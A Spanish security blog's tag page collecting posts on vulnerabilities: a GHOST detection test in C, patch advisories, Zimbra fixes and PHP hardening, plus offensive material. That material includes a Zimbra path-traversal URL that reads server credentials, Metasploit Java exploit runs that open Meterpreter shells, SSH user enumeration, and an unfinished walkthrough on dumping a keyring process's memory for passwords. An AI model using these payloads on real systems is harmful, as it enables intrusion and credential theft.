Mostrando entradas con la etiqueta fallos de seguridad. Mostrar todas las entradas
Mostrando entradas con la etiqueta fallos de seguridad. Mostrar todas las entradas

PoC local de CVE-2015-0235

Como pequeña prueba de concepto para explotación local, la Universidad de Chicago ha liberado un pequeño código escrito en c que permite comprobar de forma sencilla si tu equipo es vulnerable al fallo en la librería glibc y que afecta a la función gethostbyname. Puedes leer más acerca de este fallo aquí.
Por el momento, vamos a ver en qué estado se encuentra el equipo y en caso de que sea vulnerable, la recomendación es actualizar lo antes posible. El código en cuestión es el siguiente:
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"

struct {
  char buffer[1024];
  char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };

int main(void) {
  struct hostent resbuf;
  struct hostent *result;
  int herrno;
  int retval;

  size_t len = sizeof(temp.buffer) -
               16*sizeof(unsigned char) -
               2*sizeof(char *) - 1;
  char name[sizeof(temp.buffer)];
  memset(name, '0', len);
  name[len] = '\0';

  retval = gethostbyname_r(name,
                           &resbuf,
                           temp.buffer,
                           sizeof(temp.buffer),
                           &result,
                           &herrno);

  if (strcmp(temp.canary, CANARY) != 0) {
    puts("vulnerable");
    exit(EXIT_SUCCESS);
  }
  if (retval == ERANGE) {
    puts("not vulnerable");
    exit(EXIT_SUCCESS);
  }
  puts("should not happen");
  exit(EXIT_FAILURE);
}
Tras copiarlo en un fichero de texto plano, por ejemplo /tmp/test_ghost.c, debemos compilarlo. Siendo código c:
shell> gcc /tmp/test_ghost.c -o /tmp/test_ghost
Y ejecutándolo ya podemos comprobar si el sistema está o no afectado por la vulnerabilidad Ghost in Linux (CVE-2015-0235).
shell> /tmp/test_ghost 
vulnerable
En caso de que no esté, la salida será tal que así,
shell> /tmp/test_ghost 
not vulnerable
Leer más

Ghost in Linux (CVE-2015-0235)

Investigadores de la empresa Qualys han reportada una grave vulnerabilidad en la librería glibc
(biblioteca C de GNU Linux), que permite obtener un acceso no lícito al sistema sin la necesidad de usuario y contraseña.
Dicha vulnerabilidad ya está reportada y se ha identificado como CVE-2015-0235 y afecta a la mayoría de los sistemas ya que lleva 14 años ahí. Afecta a todos aquellos sistemas que tenga glibc-2.2 instalado, liberado en el año 2000! En mucho sitios ya comparan esta vulnerabilidad a heartbleed, que también movió cielo y tierra en su momento.
Las principales distribuciones GNU/Linux ya fueron notificadas de este bug antes de que se publicase, y ya hay parches al respecto para ellas.

Bug y explicación

Este fallo de seguridad afecta a la función gethostbyname, presente en glibc. Dicha función es usada en casi todos los sistemas Linux cuando se intenta acceder a otro equipo conectado en red. O dicho de otra forma, cuando se intenta resolver un nombre de dominio vía DNS.
El fallo se puede aprovechar si el atacante provoca un desbordamiento de buffer al usar un argumento hostname no válido. Es ahí cuando se permite ejecutar código arbitrario y con los permisos del usuario que está ejecutando DNS.
Qualys creó una prueba de concepto sobre un servidor Exim al enviarle un comando SMTP inválido. Un simple correo electrónico mal intencionado permite abrir una shell remota en el sistema.

Solución

Aplicar las actualizaciones de seguridad de los sistemas y reiniciar.

Más información




Leer más

Fallo de seguridad en wget

Descripción:


Vulnerabilidad en wget, CVE-2014-4877, que permite a un atacante crear una estructura malintencionada en un servidor FTP. Con la opción de descarga recursiva que tiene wget, dicho FTP preparado puede crear enlaces, ficheros y directorios con y asignar los permisos que le interesen en el equipo remoto.

Versiones afectadas: < 1.16

Fecha:


29/10//2014

Detalles:


wget es una herramienta que permite la descarga de contenido desde diversos protocolos (http, https y ftp). También, una de las características más destacadas es la descarga recursiva de dicho enlace, lo que permite descargar FTPs completos, por ejemplo. Un FTP creado con un directorio especificamente manipulado, puede llegar a crear ficheros, directorios y enlaces en el sistema remoto que según el contenido de éste puede llegar a ser peligroso.
La vulnerabilidad está identificada con el código CVE-2014-4877.

Solución:


Hay varias soluciones y la primera y principal, es actualizar wget a la última versión disponible, la 1.16, donde ya está corregido el fallo.
En caso de que esta actualización no se pueda realizar, para mitigar el fallo comentado, se pueden tomas estas dos opciones:
  • - -retr-symlinks
    Pasando esta opción en línea de comandos antes de usar wget.
  • retr-symlinks=on
    En el fichero de configuración general (/etc/wgetrc) o de usuario (~/.wgetrc).
Leer más

SSL suma y sigue: Poodle

Este año 2014 va a ser para recordar en la historia de la seguridad informática, sin dudarlo. SSL (heartbleed), bash (CVE-2014-6271 y CVE-2014-7169), y ahora nuevamente el protocolo SSL vuelve a ser noticia con una vulnerabilidad crítica que afecta, por lo que parece, al diseño del protocolo SSL 3.0. El código de fallo es el CVE-2014-3566 y está ahí pues más o menos desde hace 15 años que vio la luz.
El problema está en que a día de hoy la mayoría de los navegadores todavía le dan soporte y por lo tanto son vulnerables. El fallo se puede explotar en un ataque MitM (man-in-the-middle) en el que se fuerce al cliente a emplear el protocolo 3 para así acceder a los datos sin cifrar aunque la sesión esté cifrada.
La solución pasa por deshabilitar el soporte de SSL 3.0 o usar cifrados CBC-mode para dicha versión. El problema de esto no son los navegadores en sí, sino el resto de programas que pueden no tener estas compatibilidades.
Otra de las soluciones recomendadas es habilitar TLS_FALLBACK_SCSV, un mecanismo que soluciona los problemas causados por reintentar conexiones fallidas, previniendo que los atacantes puedan 'obligar' a los navegadores a usar SSL 3.0.

Más información:

Leer más

Filtradas contraseñas de Dropbox

Dropbox, popular servicio de alojamiento de ficheros en la nube ha anunciado en su blog oficial que en el día de ayer se ha producido una importante filtración de contraseñas. Concretamente se está hablando de más de 7 millones de cuentas en riesgo. Actualmente Dropbox ha optado por bloquear aquellas cuentas donde detecten algún tipo de actividad extraña.
Here is another batch of Hacked Dropbox accounts from the massive hack of 7,000,000 accounts
To see plenty more, just search on [redacted] for the term Dropbox hack.

More to come, keep showing your support
Según lo que dicen, la filtración no se produjo por un fallo en sus servidores, sino en equipos de terceros.
Se recomienda el cambio inmediato de contraseñas así como la posibilidad de habilitar la verificación en dos pasos del servicio.

Más información:



Actualización:

Se están publicando en pastebin diferentes entradas con las credenciales robadas, por lo que es más importante el cambio de contraseña.
Leer más

OpenSSL break: Actualización de Zimbra

Hace unos meses ya publicamos una advertencia de fallo de seguridad grave en OpenSSL y Zimbra estaba afectado, por lo que dijimos cómo actualizarlo.
Esta última semana el mundo de la seguridad se volvió a ver un poco azotado ya que OpenSSL cayó nuevamente. Por supuesto esto implica, si tienes un sistema afectado, actualizar rápidamente, y Zimbra no se hizo esperar y sacó un parche de seguridad a dicha vulnerabilidad. Aplicarlo, como suele ser bastante habitual en Zimbra, es sencillo.
Lo primero, es descargarse el código de parche.
shell> cd /tmp
shell> wget http://files.zimbra.com/downloads/security/zmopenssl-updater.sh
shell> chmod a+rx zmopenssl-updater.sh
Tras ello, debemos de, como usuario zimbra, parar todos los servicios.
shell> su - zimbra
zimbra@shell> zmcontrol stop
Ahora, nuevamente como usuario root, debemos de ejecutar el script, que aplicará el parche y solucionará el problema.
shell> /tmp/zmopenssl-updater.sh
   Downloading patched openssl
   Validating patched openssl: success
   Backing up old openssl: complete
   Installing patched openssl: complete
   OpenSSL patch process complete.
   Please restart Zimbra Collaboration Suite
Una vez terminado, podemos volver a arrancar todos los servicios de Zimbra.
zimbra@shell> zmcontrol start
Y para quedarnos más tranquilos, podemos comprobar que la versión de OpenSSL que Zimbra emplea sí se actualizó, pasando de la 0.9.8k 25 Mar 2009 (en mi caso) a la 1.0.1h 5 Jun 2014.
zimbra@shell> openssl version
   OpenSSL 1.0.1h 5 Jun 2014

Referencias:

Leer más

Zimbra, Heartbleed - OpenSSL patch

Como bien sabéis, recientemente se descubrió un grave fallo de seguridad en el paquete OpenSSL que dejó más que en entredicho la seguridad de la mayoría de los lugares que se suponían seguros en Internet. El protocolo https, que hasta ahora se garantizaba seguro, ya no lo era. Por suerte, el software libre se mueve de prisa y no se tardó mucho en sacar un parche que corregía dicha vulnerabilidad.
Estos días, lo que nos tocó a la gente de sistemas fue realizar un update masivo del paquete OpenSSL. Por suerte, herramientas como Salt Stack y Puppet ayudan a llevarlo mejor ;-)
Hoy vamos a ver cómo parchear una instalación de Zimbra que esté afectada. Zimbra, trae en su instalación las librerías OpenSSL propias, no la del sistema base, y es por ello que es necesario aplicar el parche del fabricante y no actualizar el paquete del sistema. Por suerte, el Zimbra deja a nuestra disposición (aquí el link) un parche para descargar y aplicar al equipo. Así que la forma de hacerlo es sencilla.
Lo primero es descargarnos el script que se encarga de aplicar el parche y darle permisos de ejecución.
shell> wget http://files.zimbra.com/downloads/security/zmopenssl-updater.sh
shell> chmod +x zmopenssl-updater.sh
A continuación, lo ejecutamos como root. Con ello se descargará el parche real de OpenSSL y lo aplicará a nuestra instalación de Zimbra.
shell> ./zmopenssl-updater.sh
  Downloading patched openssl
  Validating patched openssl: success
  Backing up old openssl: complete
  Installing patched openssl: complete
  OpenSSL patch process complete.
  Please restart Zimbra Collaboration Suite as the Zimbra user
Al finalizar nos informa de que hay que reiniciar el servicio para que los cambios tenga efecto. Lo hacemos.
shell> su - zimbra
zimbra@shell> zmcontrol restart
Y comprobamos que todo quede correctamente funcionando y no haya problema ninguno.
zimbra@shell> zmcontrol status
Host zimbra.localhost
 antispam                Running
 antivirus               Running
 ldap                    Running
 logger                  Running
 mailbox                 Running
 mta                     Running
 opendkim                Running
 snmp                    Running
 spell                   Running
 stats                   Running
 zmconfigd               Running

Referencias:
Leer más

Actualización de seguridad para el núcleo de Drupal

Descripción:


Vulnerabilidad crítica en el Core de Drupal
Versiones afectadas: < 6.30 y < 7.26

Fecha:


16/01/2014

Detalles:


  • Suplantación (módulo OpenID) (Muy crítico)
    Vulnerabilidad que afecta al módulo OpenID y que permite a un usuario malicioso entrar como otros usuarios en el sitio, incluyendo administradores.
    Para poder explotar esta vulnerabilidad el usuario debe tener una cuenta en el sitio, y la víctima debe tener una cuenta con una o más identidades OpenID asociadas.
  • Bypass de acceso (módulo Taxonomy) (Moderadamente crítico)
    El módulo Taxonomy proporciona varias páginas del listado que muestran contenido etiquetado con un término particular de taxonomía.
    Bajo ciertas circunstancias, el contenido inédito puede aparecer en estas páginas y estará visible para los usuarios que no deben tener permiso para verlo.
    Esta vulnerabilidad sólo afecta a sitios de Drupal 7 que fueran actualizados desde Drupal 6 o anteriores.
  • Endurecimiento de Seguridad (API Form) (No es crítico)
    El API proporciona un método para que los desarrolladores puedan crear formularios de envío utilizando la función drupal_form_submit() más segura. Este parche no soluciona un problema de seguridad en sí, pero proporciona un extra de seguridad que serían difíciles o imposibles de resolver de otra manera.

Solución:


Actualizar a las versión 6.30 o 7.26, según la versión de drupal empleada.

Referencias:


Drupal security
Leer más

Importante vulnerabilidad en Zimbra

Llevo unos 15 días bastante ocupado, por lo que las lecturas educativas de noticias se ha reducido y mucho.
Ayer me entero, gracias a @susibarreras, de una importante vulnerabilidad en Zimbra que según lo que apuntan, se descubrió a principios de este mes. Luego realmente, y según los responsables de Zimbra, dicha vulnerabilidad ya fue reportada hace tiempo (Febrero 2013) y todo parece ser así, ya que desde la versión 8.0.3 en adelante está corregida.
El problema radica en todas aquellas versiones no actualizadas. Se estima que cerca del 80% son vulnerables en la actualidad. El fallo es un LFI (Local File Inclusion) sobre una URL a la que cualquier persona puede acceder y descubrir así las credenciales del servidor sobre el que lance la consulta, ya que de forma muy simple se puede leer el archivo localconfig.xml de Zimbra (credenciales de acceso).

La vulnerabilidad saltó al público de manos de rubina119, que publicó un pequeño código Ruby que se aprovecha de dicha vulnerabilidad.

El LFI se produce sobre el fichero
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz
y cualquier persona puede acceder, a la siguiente URL
/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml
y observar todas las credenciales del servidor. Gracias al exploit, crear una cuenta de usuario válida es muy sencillo.

Se recomienda una actualización urgente de todos los servidores Zimbra afectados.

Más información:
exploit-db.com
Leer más

Spam intenta suplantar Whatsapp

En los últimos días saltó a la palestra un envío masivo de spam por parte de 'alguien' que dice ser WhatsApp y que te informa de que tienes un nuevo mensaje de voz para escuchar. Los correos que se están enviando tienen una forma similar a esta que sigue,
WhatsApp spam
Partamos de que este mail NO tiene ningún tipo de validez, ya que no os lo está enviando la famosa compañía de mensajes, sino que, por lo menos en mi caso, quien lo está enviando es la cuenta service AT casa-soleil DOT de, "WhatsApp Messaging Service" y realmente está saliendo de un host llamado soft-works.housingnetz.net. No deja de ser cuando menos gracioso. Está claro, que no es de mensajería ni tiene nada que ver con ellos, simplemente aprovecha la fama para infectar ordenadores.
Intenté ver un poco más acerca de qué hace la URL maliciosa que indican, pero el host en el que se alojaba parece que ya está desinfectado y no hay rastro de los ficheros ni enlaces a los que mandaba. Por lo que pude leer, la idea era que al pinchar se descargaba un código malicioso, pero no pude saber qué hacía. Si consigo un enlace levantado, actualizaré.
Así que ya sabéis, si veis algún e-mail que provenga de WhatsApp, desconfiar, es muy raro que os lo envíen, especialmente si nunca le habéis dado vuestra dirección. Ante la duda, no tengáis la curiosidad de ver qué es.

La entrada Spam intenta suplantar Whatsapp la puedes leer en Puppet Linux.
Leer más

Actualización de seguridad para Joomla

Descripción:

Vulnerabilidad crítica en el Core de Joomla.
Afecta a versiones <= 2.5.13 y <= 3.1.4.

Fecha:

31/07/2013

Detalles:

Se ha detectado un fallo de seguridad que permite vulnerar las restricciones de subida de ficheros.
Se hace un filtrado incorrecto de los datos, lo que permite subir deferentes tipos de fichero y extensiones (no permitidos) al site.

Solución:

Actualizar a las versión 2.5.14 o 3.1.5.

Referencias:

Joomla security
Leer más

Bind9, denegación de servicio

ICS, Internet System Consortium, encargada de desarrollar el famoso servidor DNS BIND ha liberado una nueva versión del mismo que corrige un fallo de seguridad. Este fallo de seguridad puede provocar una denegación de servicio ante una consulta especialmente manipulada.
Dicha vulnerabilidad, calificada como crítica, tiene asignado el código CVE-2013-4854 y fue reportada por Maxim Shudrak a través del programa de Zero Day Initiative de HP. Afecta a las versiones de las ramas 9.7, 9.8 y 9.9 del servidor. La rama 9.6 no está afectada y la rama 9.10 tampoco. Para el resto de las ramas, existe ya un parche oficial, a excepción de la 9.7, que ICS avisó en un comunicado que no aplicaría el parche por estar descontinuada.
El fichero que contiene el fallo es el lib/dns/rdata/generic/keydata_65533.c y el parche aplicado es muy sencillo,
...
    isc_buffer_activeregion(source, &sr);
-   if (sr.length < 4)
+   if (sr.length < 16)
       return (ISC_R_UNEXPECTEDEND);
...
Para servidores Debian en versión stable o oldstable ya está el parche aplicado y sólo debemos actualizar para no vernos afectados.
Más información:
La entrada Bind9, denegación de servicio la puedes leer en Puppet Linux.
Leer más

OpenSSH User Enumeration Time-Based Attack

A finales de la semana pasada saltó a la luz un ataque por fuerza bruta contra servidores SSH que permite realizar de forma sencilla una enumeración de usuarios activos en el equipo. Aunque no es 100% fiable, sí ofrece una forma rápida, y la verdad que tras probarla, bastante eficaz de enumerar los usuarios de un equipo.
La prueba de concepto (pequeño script en Python), lo podemos descargar desde IT Security Blog. Para saber si un usuario está o no presente en un equipo llega con hacer una conexión contra dicho equipo. En función del tiempo de respuesta (con contraseña no válida), el script hace una pequeña estimación de si el usuario está o no presente en el equipo.
Aunque este ataque realiza una enumeración de usuarios, no de la tupla user+passwd, no deja de ser grave. El fallo afecta a las versiones 5.x y 6.x de OpenSSH (presentes en la mayoría de los equipos actuales).
La prueba de concepto está disponible para descarga y a mayores es necesario el típico fichero de diccionario,
javier:javier
test:test
Para lanzarlo únicamente,
shell> python ssh_time.py user.list 127.0.0.1:22 5
  Connecting test:test@127.0.0.1:22 
  Error:  Authentication failed.
  Connecting javier:javier@127.0.0.1:22 
  Error:  Authentication failed.
***********************************************************
Found:  ('javier:javier', '127.0.0.1', 22)
***********************************************************
Y efectivamente el usuario javier que existe en el equipo sale en la lista de usuarios.
Mientras esperamos una solución a nivel del servidor SSH para el control de esos tiempos de respuesta, lo mejor es asegurarse de tener claves SEGURAS en las máquinas expuestas, pues la enumeración de usuarios reduce considerablemente el tiempo en ataques por fuerza bruta.


Leer más

Metasploit, auditando joomla

joomla metasploit demo
Joomla es uno de los CMS más habituales para blog's o contenido dinámico. Quizás algo menos profesional que Drupal, pero sí más sencillo, por lo que su integración y despliegue en numerosos sitios fue alta. Hoy vamos a ver cómo empleando metasploit podemos comenzar a auditar la seguridad de un Joomla. Lo módulos de los que dispone metasploit para realizar el análisis que vamos a efectuar no son invasivos, por lo que sólo obtendremos información, que es lo esencial para comenzar a trabajar. Esto es lo que conocemos como Information Gathering (Recolección de Información).
Actualmente en Joomla hay 3 módulos para consultas acerca de Joomla, que nos comprobar la versión (joomla_version), ver las páginas colgadas (joomla_pages) y los plugins instalados en el CMS (joomla_plugins). Por lo tanto, para saber más acerca de una web en Joomla, lo único que necesitas saber será la dirección en la que contesta. Lo primero será saber a qué versión nos estamos enfrentando.
msf> use auxiliary/scanner/http/joomla_version
msf auxiliary(joomla_version)> set RHOSTS domain.com
RHOSTS => domain.com
msf auxiliary(joomla_version)> run

[+] 192.168.1.33:80 - Joomla Version: 2.5.0 from: language/en-GB/en-GB.xml 
[+] 192.168.1.33:80 - OS: *Nix
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
En este caso, como podéis comprobar estamos antes la versión 2.5.0. Esto ya nos da muchas ideas para buscar módulos vulnerables o posibles exploit's que funcionen. Acabamos de acotar mucho las búsquedas a realizar.
Ahora vamos a comprobar qué páginas tiene este Joomla disponibles,
msf> use auxiliary/scanner/http/joomla_pages
msf auxiliary(joomla_pages)> set RHOSTS domain.com
RHOSTS => domain.com
msf auxiliary(joomla_pages)> run

[+] 192.168.1.33:80 - Page Found: /robots.txt
[+] 192.168.1.33:80 - Page Found: /administrator/index.php
[+] 192.168.1.33:80 - Page Found: /htaccess.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
En este caso no nos fue de gran ayuda. Tenemos el robots.txt, como todos los Joomla's y la página de administración. En este caso, el robots es también el por defecto del CMS, por lo que no tenemos ninguna información extra.
Así que vamos por la parte más divertida, buscar los plugins que tiene activos el sistema. Esto lo conseguimos tal que así,
msf> use auxiliary/scanner/http/joomla_plugins
msf auxiliary(joomla_plugins)> set RHOSTS domain.com
RHOSTS => domain.com
msf auxiliary(joomla_plugins)> run

[+] 192.168.1.33:80 - Plugin: /administrator/ 
[+] 192.168.1.33:80 - Plugin: /administrator/components/ 
[+] 192.168.1.33:80 - Plugin: /administrator/components/com_admin/ 
[+] 192.168.1.33:80 - Plugin: /administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+ 
[+] 192.168.1.33:80 - Plugin: /administrator/index.php?option=com_searchlog&act=log 
[+] 192.168.1.33:80 - Plugin: /components/com_banners/ 
[+] 192.168.1.33:80 - Plugin: /components/com_content/ 
[+] 192.168.1.33:80 - Plugin: /components/com_mailto/ 
[+] 192.168.1.33:80 - Plugin: /components/com_search/ 
[+] 192.168.1.33:80 - Plugin: /components/com_users/ 
[+] 192.168.1.33:80 - Plugin: /components/com_weblinks/ 
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Y aunque va a tardar un poco, la verdad es que esta información sí es MUY importante. De aquí sacaremos qué exploit's podemos aplicar y cuales no tiene sentido intentar explotar, así como posibles SQLi.
Entradas relacionadas: Averiguando fallos en joomla

La entrada Metasploit, auditando joomla la puedes leer en Puppet Linux.
Leer más

TheHarvester, tu información on-line

TheHarvester es una de esas pequeñas utilidades que sirven para comenzar a auditar a una organización de la forma más simple que hay, socialmente. En realidad TheHarvester sirve para recopilar información de correos electrónicos, nombre de dominios, subdominios y listados de IP's para un nombre de organización.
TheHarvester es desarrollado por Christian Martorella, está escrito en Python y se puede obtener aquí. Apoyándose en los principales buscadores, Google, Bing, Shodan, etc. busca datos de interés.
Vamos a hacer una prueba de aquellos datos que nos puede reportar y que puedan ser de interés.
shell> python theHarvester.py

*************************************
*TheHarvester Ver. 2.2              *
*Coded by Christian Martorella      *
*Edge-Security Research             *
*cmartorella@edge-security.com      *
*************************************


Usage: theharvester options

   -d: Domain to search or company name
   -b: Data source (google,bing,linkedin,etc.)
   -s: Start in result number X (default 0)
   -v: Verify host name via dns resolution and search for virtual hosts
   -f: Save the results into an HTML and XML file
   -n: Perform a DNS reverse query on all ranges discovered
   -c: Perform a DNS brute force for the domain name
   -t: Perform a DNS TLD expansion discovery
   -e: Use this DNS server
   -l: Limit the number of results to work with
   -h: use SHODAN database to query discovered hosts

Examples:./theharvester.py -d microsoft.com -l 500 -b google
         ./theharvester.py -d microsoft.com -b pgp
         ./theharvester.py -d microsoft -l 200 -b linkedin
Como vemos,
Leer más

java_jre17_jmxbean 0 day exploit

A finales de Agosto salió una importante vulnerabilidad en Java, un 0 day, que fue ampliamente explotado. Oracle no tardó demasiado en sacar un parque que evitaba su explotación, aunque en ese tiempo muchos sistemas ya habían caído. Esta semana apareció nuevamente un 0 day, que afecta a la última versión de Java y sin un parche disponible a fecha de hoy. Dicho 0 day permite la ejecución de código arbitrario en el equipo víctima.
Ya existe un pequeño módulo en metasploit que simplifica la explotación de dicha vulnerabilidad y lo único que es necesario es acceder a una página con el código ejecutándose y que el navegador de la víctima tenga el plugin de java activado.
msf> use exploit/multi/browser/java_jre17_jmxbean
msf exploit(java_jre17_jmxbean)> show options

Module options (exploit/multi/browser/java_jre17_jmxbean):

  Name        Setting  Required  Description
  ----        -------  --------  -----------
  SRVHOST     0.0.0.0  yes       The local host to listen on.
  SRVPORT     8080     yes       The local port to listen on.
  SSL         false    no        Negotiate SSL for incoming connections.
  SSLCert              no        Path to a custom SSL certificate.
  SSLVersion  SSL3     no        Specify the version of SSL
  URIPATH              no        The URI to use for this exploit 

Exploit target:

  Id  Name
  --  ----
  0   Generic (Java Payload)

msf exploit(java_jre17_jmxbean)> set SRVPORT 80
SRVPORT => 80
msf exploit(java_jre17_jmxbean)> set URIPATH /
URIPATH => /
msf exploit(java_jre17_jmxbean)> exploit
 [*] Exploit running as background job.

 [*] Started reverse handler on 192.168.1.33:4444 
 [*] Using URL: http://0.0.0.0:80/
 [*]  Local IP: http://192.168.1.33:80/
 [*] Server started.

msf exploit(java_jre17_jmxbean)>

 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /
 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /
 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /GapYRtBm.jar
 [*] 192.168.1.47  java_jre17_jmxbean - handling request for /GapYRtBm.jar 
 [*] Sending stage (30216 bytes) to 192.168.1.47  
 [*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.47:2391) at 2013-01-10 20:41:37 +0100
   
msf exploit(java_jre17_jmxbean)> sessions -i 1
 [*] Starting interaction with 1...  

meterpreter>
Actualmente no hay ninguna solución para evitar este ataque, así que toca volver a desactivar Java en nuestros navegadores urgentemente!
Si usas Google Chrome, lo puedes arrancar con la opción --disable-java.

¡Actualización!
Oracle acaba de sacar una nueva versión de java, la 7u11, que soluciona el 0 day comentado. Se recomienda actualización inmediata. Como nota destacada de esta nueva versión, hay que destacar que suben el nivel de seguridad de medio a alto, por defecto y que sólo permitirán la ejecución de applets firmados y validados por CA's.

La entrada java_jre17_jmxbean 0 day exploit la puedes leer en Puppet Linux.
Leer más

PHP, deshabilitar funciones

PHP es un excelente lenguaje de programación web que está mejorando constantemente para ofrecernos mejoras en términos de rendimiento y seguridad.
Generalmente los problemas de seguridad no están en fallos del propio lenguaje, sino en fallos que comente el propio programador web. Una variable sin comprobar, un array con un valor incorrecto, etc. puede desembocar en un problema de seguridad como un XSS o un Cross-site File Upload, por ejemplo.
Ejemplos de esto los tenemos todos los días en páginas web conocidas y en software que empleamos, pero si un atacante puede conseguir acceso al sistema por un fallo y así ejecutar comando que no debiera. PHP permite desde el php.ini, deshabilitar una serie de funciones que se consideran peligrosas y así evitar en caso fallo que puedan ser empleadas. Algunas de las funciones que se pueden deshabilitar son system o shell_exec, lo que hace idea ya del extra de seguridad que ofrece.
Si no las estás empleando en tu página, ¿por qué tenerlas habilitadas?
disable_functions = proc_open, popen, disk_free_space, diskfreespace, set_time_limit, leak, tmpfile, exec, system, shell_exec, passthru, phpinfo, ini_set
Añadiendo la línea anterior al php.ini, conseguimos nativamente deshabilitar el empleo de todas las funciones en ella indicadas y en caso de que alguien hiciera uso de ellas, en el log de error, obtendríamos una línea similar a la siguiente,
Dic 7 17:37:16 info php: PHP Warning:  ini_set() has been disabled for security reasons in /var/www/index.php on line 5
Antes de deshabilitar una función, especialmente si estás en entornos de producción, comprueba que ésta no esté siendo empleada por tu web, sino toda o parte de ella dejará de funcionar.
Leer más

Metasploit, java_jre17_exec 0 day exploit

Ayer se dio a conocer por todo Internet un 0 day de Java, con el código fuente del mismo que permite acceso remoto a un equipo con la simple visita de una página web para ello preparada (o la ejecución del código). Aunque el código ya está publicado por la red, la gente de metasploit también ha sacado un pequeño módulo que aprovecha dicha vulnerabilidad para permitir a un atacante acceder a una máquina vulnerable. Si quieres comprobar si tu infraestructura se ve afectada, simplemente actualiza tus módulos y ¡compruébalo!
msf> use exploit/multi/browser/java_jre17_exec
msf exploit(java_jre17_exec)> show options

Module options (exploit/multi/browser/java_jre17_exec):

 Name        Setting  Description
 ----        -------  -----------
 SRVHOST     0.0.0.0  The local host to listen on.
 SRVPORT     8080     The local port to listen on.
 SSL         false    Negotiate SSL for incoming connections
 SSLCert              Path to a custom SSL certificate
 SSLVersion  SSL3     Specify the version of SSL that should be used
 URIPATH              The URI to use for this exploit

Exploit target:

 Id  Name
 --  ----
 0   Generic (Java Payload)

msf exploit(java_jre17_exec)> set URIPATH /
URIPATH => /
msf exploit(java_jre17_exec)> set SRVPORT 80
SRVPORT => 80
Tras tener todo cargado y configurado, únicamente queda por ejecutar el exploit.
msf exploit(java_jre17_exec)> exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.33:4444 
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.1.33:80/
[*] Server started.
Una vez lanzado, sólo queda esperar a que una víctima acceda a la página vulnerable y que tenga el plugin de java activado. En este caso da igual el navegador o el sistema operativo, ya que todos se ven afectados.
msf exploit(java_jre17_exec)>
[*] 192.168.1.33  java_jre17_exec - Java 7 Applet Remote Code Execution handling request
[*] 192.168.1.33  java_jre17_exec - Sending Applet.jar
[*] Sending stage (30216 bytes) to 192.168.1.33
[*] Meterpreter session 1 opened (192.168.1.33:4444 -> 192.168.1.50:1259) at 2012-08-28 19:59:45 +0200

msf exploit(java_jre17_exec)> sessions

Active sessions
===============

 Id  Type                   Connection
 --  ----                   ----------
 1   meterpreter java/java  192.168.1.33:4444 -> 192.168.1.50:1259

msf exploit(java_jre17_exec)> sessions -i 1
[*] Starting interaction with 1...

meterpreter>
Por el momento no hay ningún parche de seguridad, así que lo mejor es deshabilitar el complemento Java de todos los navegadores.

Más información, aquí y aquí.

[Actualización 31-Agosto-2012]
Oracle por fin ha publicado la esperada actualización al fallo de seguridad CVE-2012-4681. Actualiza: Java™ SE Development Kit 7, Update 7 (JDK 7u7).
Leer más

Seguridad en la RAM


Cuando estamos haciendo pruebas de pentesting y accedemos a un equipo, lo más importante es conseguir las contraseñas para poder volver a acceder. Una de las formas más sencillas es obtenerlas de los ficheros y luego "reventarlas" en local, por ejemplo. Pasar de un churro md5 a una contraseña. Si tenemos esto es genial, pero lo único que nos facilita es poder volver acceder al sistema, no obtenemos ningún dato más.

En un equipo con un uso normal, se emplean muchas contraseñas y muchas de las mismas pueden ser completamente diferentes, así que lo ideal sería poder obtenerlas. Un software bien diseñado almacena las contraseñas en memoria cifradas, sin embargo... ¿cuánto software de ese hay en un equipo? La gran mayoría dejará las contraseñas en texto plano en la memoria ram, así que sólo habrá que saber cómo buscarlas.
Indagando un poco, y la verdad es que poco, descubrí pd, un software que permite hacer volcados de la memoria de un proceso a fichero para luego examinar su contenido. Existe una versión para GNU/Linux y otra para Windows y aunque llevar tiempo sin actualizarse, la verdad es que sigue funcionando perfectamente. Lo único necesario es el PID del proceso. Es aquí donde tenemos que saber dónde buscar. Yo ejecutando un 'ps aux' en mi sistema tengo el proceso 'gnome-keyring-daemon' que me parece interesante, así que vamos a ver, paso a paso, cómo obtener la contraseña desde memoria.
  • Obtenemos pd
    shell> wget \
    http://www.trapkit.de/research/forensic/pd/pd_v1.1_lnx.bz2
    shell> bunzip2 pd_v1.1_lnx.bz2
    shell> mv pd_v1.1_lnx pd
    
  • Obtenemos el PID del proceso
    Para obtener el PID del proceso, simplemente ejecutamos un 'ps x' y filtramos por el proceso que nos interese. En mi caso, gnome-keyring-daemon.
    En sistemas Windows, para hacer el volcado se puede emplear la misma técnica, únicamente cambia la forma de averiguar el PID del proceso, que es con el comando tasklist.
    shell> ps x |grep gnome-keyring
    2432 ? Sl /usr/bin/gnome-keyring-daemon --daemonize --login
    2590 ? S  /usr/bin/gnome-keyring-daemon --start --components=secrets
    
  • Volcado de memoria
    Sabiendo el PID del proceso, simplemente se lo pasamos como argumento y hacemos un redirect de la salida a un fichero, que posteriormente lo analizaremos.
    shell> ./pd_v1.1_lnx -p 2432 > key.dump
    pd, version 1.1 tk 2006, www.trapkit.de
    
    Dump complete.
    
  • Data -> text
    Una vez que tenemos la salida de la memoria la podemos intentar comprender así, pero lo más sencillo es que hagamos uso del comando strings para obtener una salida más simple de comprender.
    shell> strings key.dump > key.txt
    
  • Buscamos la contraseña
